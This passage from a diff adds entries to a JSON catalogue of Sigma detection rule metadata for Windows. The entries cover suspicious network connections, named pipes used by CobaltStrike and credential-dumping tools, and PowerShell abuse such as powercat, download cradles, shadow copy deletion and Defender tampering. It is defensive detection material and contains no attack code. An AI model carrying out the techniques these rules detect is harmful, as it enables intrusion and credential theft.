alternate network location from the main command and control server.\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/07", + "falsepositive": [ + "Other SMTP tools" + ], + "filename": "net_connection_win_susp_outbound_smtp_connections.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", + "https://www.ietf.org/rfc/rfc2821.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_smtp_connections.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ] + }, + "uuid": "9976fa64-2804-423c-8a5b-646ade840773", + "value": "Suspicious Outbound SMTP Connections" + }, + { + "description": "Detects programs with network connections running in suspicious files system locations", + "meta": { + "author": "Florian Roth, Tim Shelton", + "creation_date": "2017/03/19", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_susp_prog_location_network_connection.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_prog_location_network_connection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "7b434893-c57d-4f41-908d-6a17bf1ae98f", + "value": "Suspicious Program Location with Network Connections" + }, + { + "description": "Detects Non-Standard Tools Connecting to TCP port 3389 indicating possible lateral movement", + "meta": { + "author": "Markus Neis", + "creation_date": "2019/05/15", + "falsepositive": [ + "Other Remote Desktop RDP tools", + "Domain controller using dns.exe" + ], + "filename": "net_connection_win_susp_rdp.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_rdp.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.001", + "car.2013-07-002" + ] + }, + "uuid": "ed74fe75-7594-4b4b-ae38-e38e3fd2eb23", + "value": "Suspicious Outbound RDP Connections" + }, + { + "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making a network connections.\nOne could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.\n", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/10/12", + "falsepositive": [ + "Legitimate use of wuauclt.exe over the network." + ], + "filename": "net_connection_win_wuauclt_network_connection.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://dtm.uk/wuauclt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "c649a6c7-cd8c-4a78-9c04-000fc76df954", + "value": "Wuauclt Network Connection" + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", + "creation_date": "2019/09/12", + "falsepositive": [ + "Programs using PowerShell directly without invocation of a dedicated interpreter." + ], + "filename": "pipe_created_alternate_powershell_hosts_pipe.yml", + "level": "medium", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_alternate_powershell_hosts_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "58cb02d5-78ce-4692-b3e1-dce850aae41a", + "value": "Alternate PowerShell Hosts Pipe" + }, + { + "description": "Detects a named pipe used by Turla group samples", + "meta": { + "author": "Markus Neis", + "creation_date": "2017/11/06", + "falsepositive": [ + "Unknown" + ], + "filename": "pipe_created_apt_turla_namedpipes.yml", + "level": "critical", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://attack.mitre.org/groups/G0010/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_apt_turla_namedpipes.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", + "attack.t1106" + ] + }, + "uuid": "739915e4-1e70-4778-8b8a-17db02f66db1", + "value": "Turla Group Named Pipes" + }, + { + "description": "Detects well-known credential dumping tools execution via specific named pipes", + "meta": { + "author": "Teymur Kheirkhabarov, oscd.community", + "creation_date": "2019/11/01", + "falsepositive": [ + "Legitimate Administrator using tool for password recovery" + ], + "filename": "pipe_created_cred_dump_tools_named_pipes.yml", + "level": "critical", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_cred_dump_tools_named_pipes.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005" + ] + }, + "uuid": "961d0ba2-3eea-4303-a930-2cf78bbfcc5e", + "value": "Cred Dump-Tools Named Pipes" + }, + { + "description": "Detects creation of default named pipe used by the DiagTrackEoP POC", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/03", + "falsepositive": [ + "Unlikely" + ], + "filename": "pipe_created_diagtrack_eop_default_pipe.yml", + "level": "critical", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L22", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_diagtrack_eop_default_pipe.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "1f7025a6-e747-4130-aac4-961eb47015f1", + "value": "DiagTrackEoP Default Named Pipe" + }, + { + "description": "Detects the pattern of a pipe name as used by the tool EfsPotato", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "pipe_created_efspotato_namedpipe.yml", + "level": "high", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1429530155291193354?s=20", + "https://github.com/zcgonvh/EfsPotato", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_efspotato_namedpipe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ] + }, + "uuid": "637f689e-b4a5-4a86-be0e-0100a0a33ba2", + "value": "EfsPotato Named Pipe" + }, + { + "description": "Detects creation of default named pipes used by the Koh tool", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/08", + "falsepositive": [ + "Unlikely" + ], + "filename": "pipe_created_koh_default_pipe.yml", + "level": "critical", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://github.com/GhostPack/Koh/blob/0283d9f3f91cf74732ad377821986cfcb088e20a/Clients/BOF/KohClient.c#L12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_koh_default_pipe.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access", + "attack.t1528", + "attack.t1134.001" + ] + }, + "uuid": "0adc67e0-a68f-4ffd-9c43-28905aad5d6a", + "value": "Koh Default Named Pipes" + }, + { + "description": "Detects the creation of a named pipe as used by CobaltStrike", + "meta": { + "author": "Florian Roth, Wojciech Lesicki", + "creation_date": "2021/05/25", + "falsepositive": [ + "Unknown" + ], + "filename": "pipe_created_mal_cobaltstrike.yml", + "level": "critical", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/d4rksystem/status/1357010969264873472", + "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/", + "https://github.com/Neo23x0/sigma/issues/253", + "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", + "https://redcanary.com/threat-detection-report/threats/cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ] + }, + "uuid": "d5601f8c-b26f-4ab0-9035-69e11a8d4ad2", + "value": "CobaltStrike Named Pipe" + }, + { + "description": "Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/30", + "falsepositive": [ + "Unknown" + ], + "filename": "pipe_created_mal_cobaltstrike_re.yml", + "level": "critical", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", + "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike_re.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ] + }, + "uuid": "0e7163d4-9e19-4fa7-9be6-000c61aad77a", + "value": "CobaltStrike Named Pipe Pattern Regex" + }, + { + "description": "Detects the creation of a named pipe used by known APT malware", + "meta": { + "author": "Florian Roth, blueteam0ps, elhoim", + "creation_date": "2017/11/06", + "falsepositive": [ + "Unknown" + ], + "filename": "pipe_created_mal_namedpipes.yml", + "level": "critical", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/", + "https://securelist.com/faq-the-projectsauron-apt/75533/", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-117A", + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", + "https://github.com/RiccardoAncarani/LiquidSnake", + "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", + "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_namedpipes.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ] + }, + "uuid": "fe3ac066-98bb-432a-b1e7-a5229cb39d4a", + "value": "Malicious Named Pipe" + }, + { + "description": "Detects PAExec default named pipe", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/26", + "falsepositive": [ + "Unknown" + ], + "filename": "pipe_created_paexec_default_pipe.yml", + "level": "medium", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Command%20and%20Control/C2-NamedPipe.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_paexec_default_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "f6451de4-df0a-41fa-8d72-b39f54a08db5", + "value": "PAExec Default Named Pipe" + }, + { + "description": "Detects execution of PowerShell via creation of named pipe starting with PSHost", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2019/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "pipe_created_powershell_execution_pipe.yml", + "level": "informational", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_execution_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "ac7102b4-9e1e-4802-9b4f-17c5524c015c", + "value": "PowerShell Execution Via Named Pipe" + }, + { + "description": "Detects PsExec service installation and execution events (service and Sysmon)", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/06/12", + "falsepositive": [ + "Unknown" + ], + "filename": "pipe_created_psexec_default_pipe.yml", + "level": "low", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ] + }, + "uuid": "f3f3a972-f982-40ad-b63c-bca6afdfad7c", + "value": "PsExec Default Named Pipe" + }, + { + "description": "Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/04", + "falsepositive": [ + "Rare legitimate use of psexec from the locations mentioned above" + ], + "filename": "pipe_created_psexec_default_pipe_from_susp_location.yml", + "level": "high", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe_from_susp_location.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ] + }, + "uuid": "41504465-5e3a-4a5b-a5b4-2a0baadd4463", + "value": "PsExec Tool Execution From Suspicious Locations - PipeName" + }, + { + "description": "Detecting use PsExec via Pipe Creation/Access to pipes", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/05/10", + "falsepositive": [ + "Legitimate Administrator activity" + ], + "filename": "pipe_created_psexec_pipes_artifacts.yml", + "level": "medium", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_pipes_artifacts.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "9e77ed63-2ecf-4c7b-b09d-640834882028", + "value": "PsExec Pipes Artifacts" + }, + { + "description": "Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database).\nUsed to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.\n", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2021/10/08", + "falsepositive": [ + "Processes in the filter condition" + ], + "filename": "pipe_created_susp_adfs_namedpipe_connection.yml", + "level": "high", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml", + "https://o365blog.com/post/adfs/", + "https://github.com/Azure/SimuLand", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_adfs_namedpipe_connection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ] + }, + "uuid": "1ea13e8c-03ea-409b-877d-ce5c3d2c1cb3", + "value": "ADFS Database Named Pipe Connection" + }, + { + "description": "Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles", + "meta": { + "author": "Florian Roth, Christian Burkard", + "creation_date": "2021/07/30", + "falsepositive": [ + "Chrome instances using the exact same pipe name \"mojo.something\"" + ], + "filename": "pipe_created_susp_cobaltstrike_pipe_patterns.yml", + "level": "high", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", + "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_cobaltstrike_pipe_patterns.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ] + }, + "uuid": "85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7", + "value": "CobaltStrike Named Pipe Patterns" + }, + { + "description": "Detects the WMI Event Consumer service scrcons.exe creating a named pipe", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/09/01", + "falsepositive": [ + "Unknown" + ], + "filename": "pipe_created_susp_wmi_consumer_namedpipe.yml", + "level": "high", + "logsource.category": "pipe_created", + "logsource.product": "windows", + "refs": [ + "https://github.com/RiccardoAncarani/LiquidSnake", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_wmi_consumer_namedpipe.yml" + ], + "tags": [ + "attack.t1047", + "attack.execution" + ] + }, + "uuid": "493fb4ab-cdcc-4c4f-818c-0e363bd1e4bb", + "value": "WMI Event Consumer Created Named Pipe" + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/08/11", + "falsepositive": [ + "Programs using PowerShell directly without invocation of a dedicated interpreter", + "MSP Detection Searcher", + "Citrix ConfigSync.ps1" + ], + "filename": "posh_pc_alternate_powershell_hosts.yml", + "level": "medium", + "logsource.category": "ps_classic_start", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_alternate_powershell_hosts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "d7326048-328b-4d5e-98af-86e84b17c765", + "value": "Alternate PowerShell Hosts" + }, + { + "description": "Shadow Copies deletion using operating systems utilities via PowerShell", + "meta": { + "author": "frack113", + "creation_date": "2021/06/03", + "falsepositive": [ + "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason" + ], + "filename": "posh_pc_delete_volume_shadow_copies.yml", + "level": "high", + "logsource.category": "ps_classic_start", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", + "https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_delete_volume_shadow_copies.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "87df9ee1-5416-453a-8a08-e8d4a51e9ce1", + "value": "Delete Volume Shadow Copies Via WMI With PowerShell" + }, + { + "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", + "meta": { + "author": "Florian Roth (rule), Lee Holmes (idea), Harish Segar (improvements)", + "creation_date": "2017/03/22", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pc_downgrade_attack.yml", + "level": "medium", + "logsource.category": "ps_classic_start", + "logsource.product": "windows", + "refs": [ + "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_downgrade_attack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "6331d09b-4785-4c13-980f-f96661356249", + "value": "PowerShell Downgrade Attack" + }, + { + "description": "Detects PowerShell called from an executable by the version mismatch method", + "meta": { + "author": "Sean Metcalf (source), Florian Roth (rule)", + "creation_date": "2017/03/05", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pc_exe_calling_ps.yml", + "level": "high", + "logsource.category": "ps_classic_start", + "logsource.product": "windows", + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_exe_calling_ps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "c70e019b-1479-4b65-b0cc-cd0c6093a599", + "value": "PowerShell Called from an Executable Version Mismatch" + }, + { + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", + "meta": { + "author": "frack113", + "creation_date": "2021/07/21", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pc_powercat.yml", + "level": "medium", + "logsource.category": "ps_classic_start", + "logsource.product": "windows", + "refs": [ + "https://nmap.org/ncat/", + "https://github.com/besimorhino/powercat", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_powercat.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1095" + ] + }, + "uuid": "c5b20776-639a-49bf-94c7-84f912b91c15", + "value": "Netcat The Powershell Version" + }, + { + "description": "Detects remote PowerShell sessions", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/08/10", + "falsepositive": [ + "Legitimate use remote PowerShell sessions" + ], + "filename": "posh_pc_remote_powershell_session.yml", + "level": "high", + "logsource.category": "ps_classic_start", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006" + ] + }, + "uuid": "60167e5c-84b2-4c95-a7ac-86281f27c445", + "value": "Remote PowerShell Session (PS Classic)" + }, + { + "description": "Detects renamed powershell", + "meta": { + "author": "Harish Segar, frack113", + "creation_date": "2020/06/29", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pc_renamed_powershell.yml", + "level": "low", + "logsource.category": "ps_classic_start", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_renamed_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "30a8cb77-8eb3-4cfb-8e79-ad457c5a4592", + "value": "Renamed Powershell Under Powershell Channel" + }, + { + "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", + "meta": { + "author": "frack113", + "creation_date": "2021/07/13", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pc_susp_athremotefxvgpudisablementcommand.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_athremotefxvgpudisablementcommand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "f65e22f9-819e-4f96-9c7b-498364ae7a25", + "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand" + }, + { + "description": "Detects suspicious PowerShell download command", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/05", + "falsepositive": [ + "PowerShell scripts that download content from the Internet" + ], + "filename": "posh_pc_susp_download.yml", + "level": "medium", + "logsource.category": "ps_classic_start", + "logsource.product": "windows", + "refs": [ + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "3236fcd0-b7e3-4433-b4f8-86ad61a9af2d", + "value": "Suspicious PowerShell Download" + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", + "meta": { + "author": "frack113", + "creation_date": "2021/12/10", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pc_susp_get_nettcpconnection.yml", + "level": "low", + "logsource.category": "ps_classic_start", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_get_nettcpconnection.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ] + }, + "uuid": "b366adb4-d63d-422d-8a2c-186463b5ded0", + "value": "Use Get-NetTCPConnection" + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "meta": { + "author": "frack113", + "creation_date": "2021/07/20", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pc_susp_zip_compress.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ] + }, + "uuid": "71ff406e-b633-4989-96ec-bc49d825a412", + "value": "Zip A Folder With PowerShell For Staging In Temp" + }, + { + "description": "Attempting to disable scheduled scanning and other parts of windows defender atp. Or set default actions to allow.", + "meta": { + "author": "frack113", + "creation_date": "2021/06/07", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pc_tamper_with_windows_defender.yml", + "level": "high", + "logsource.category": "ps_classic_provider_start", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_with_windows_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "ec19ebab-72dc-40e1-9728-4c0b805d722c", + "value": "Tamper Windows Defender - PSClassic" + }, + { + "description": "Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/06/24", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pc_wsman_com_provider_no_powershell.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/chadtilbury/status/1275851297770610688", + "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", + "https://github.com/bohops/WSMan-WinRM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_wsman_com_provider_no_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.003" + ] + }, + "uuid": "df9a0e0e-fedb-4d6c-8668-d765dfc92aa7", + "value": "Suspicious Non PowerShell WSMAN COM Provider" + }, + { + "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", + "meta": { + "author": "Teymur Kheirkhabarov, Harish Segar (rule)", + "creation_date": "2020/06/29", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pc_xor_commandline.yml", + "level": "medium", + "logsource.category": "ps_classic_start", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_xor_commandline.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "812837bb-b17f-45e9-8bd0-0ec35d2e3bd6", + "value": "Suspicious XOR Encoded PowerShell Command Line" + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/08/11", + "falsepositive": [ + "Programs using PowerShell directly without invocation of a dedicated interpreter", + "MSP Detection Searcher", + "Citrix ConfigSync.ps1" + ], + "filename": "posh_pm_alternate_powershell_hosts.yml", + "level": "medium", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_alternate_powershell_hosts.yml" + ], + "tags": [ + "attack.execution", + 